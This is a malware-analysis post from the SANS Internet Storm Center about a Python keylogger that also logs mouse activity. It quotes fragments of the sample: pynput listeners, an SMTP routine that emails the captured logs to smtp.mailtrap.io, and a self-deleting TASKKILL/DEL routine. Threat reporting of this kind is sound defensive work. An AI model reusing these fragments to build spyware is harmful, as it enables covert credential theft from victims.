Keylogging is a pretty common feature of many malware families because recording the key pressed on a keyboard may reveal a lot of interesting information like usernames, passwords, etc. Back from SANSFIRE, I looked at my backlog of hunting results and found an interesting piece of Python malware. This one implements a keylogger and a screenshot grabber but also… a “mouse logger”! By mouse logger, I mean that it can collect activity generated by the user’s mouse.
The attacker uses the classic Python module pyinput[1]:
from pynput import keyboard
from pynput.keyboard import Listener
Then, a listener is defined to capture mouse events:
with Listener(on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll) as mouse_listener:
mouse_listener.join()
…
class KeyLogger:
…
def on_move(self, x, y):
current_move = logging.info(“Mouse moved to {} {}”.format(x, y))
self.appendlog(current_move)
def on_click(self, x, y):
current_click = logging.info(“Mouse moved to {} {}”.format(x, y))
self.appendlog(current_click)
def on_scroll(self, x, y):
current_scroll = logging.info(“Mouse moved to {} {}”.format(x, y))
self.appendlog(current_scroll)
The listener appends messages to a log (including pressed keys) exfiltrated at regular intervals. The technique used by the attacker is interesting: Instead of using a classic compromised mailbox or a Gmail account, mailtrap.io[2] is used:
m += message
with smtplib.SMTP(“smtp.mailtrap.io”, 2525) as server:
server.login(email, password)
server.sendmail(sender, receiver, m)
The risk with this setup is that port 2525 won’t be open on the victim’s firewall.
Another interesting behavior: Once the script has started the listener, it deletes itself. This is possible because the Python interpreter will read the entire file and parses it to check for syntax errors. The parsed script is then compiled into bytecode (a low-level set of instructions specific to Python). The bytecode is executed by the Python virtual machine (PVM) and the original file is not required anymore.
try:
pwd = os.path.abspath(os.getcwd())
os.system(“cd ” + pwd)
os.system(“TASKKILL /F /IM ” + os.path.basename(__file__))
print(‘File was closed.’)
os.system(“DEL ” + os.path.basename(__file__))
except OSError:
print(‘File is close.’)
The sample looks to be in a testing phase because some information, like the credentials to use maildrop.io, was missing.
The script has a VT score of 6/65 (SHA256: ce7204ccabe856c7b219ab26083f0ef4ca11e3f835b4ef3d191d2eacef06d798[3]).
[1] https://pypi.org/project/pynput/
[2] https://mailtrap.io
[3] https://www.virustotal.com/gui/file/ce7204ccabe856c7b219ab26083f0ef4ca11e3f835b4ef3d191d2eacef06d798
Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.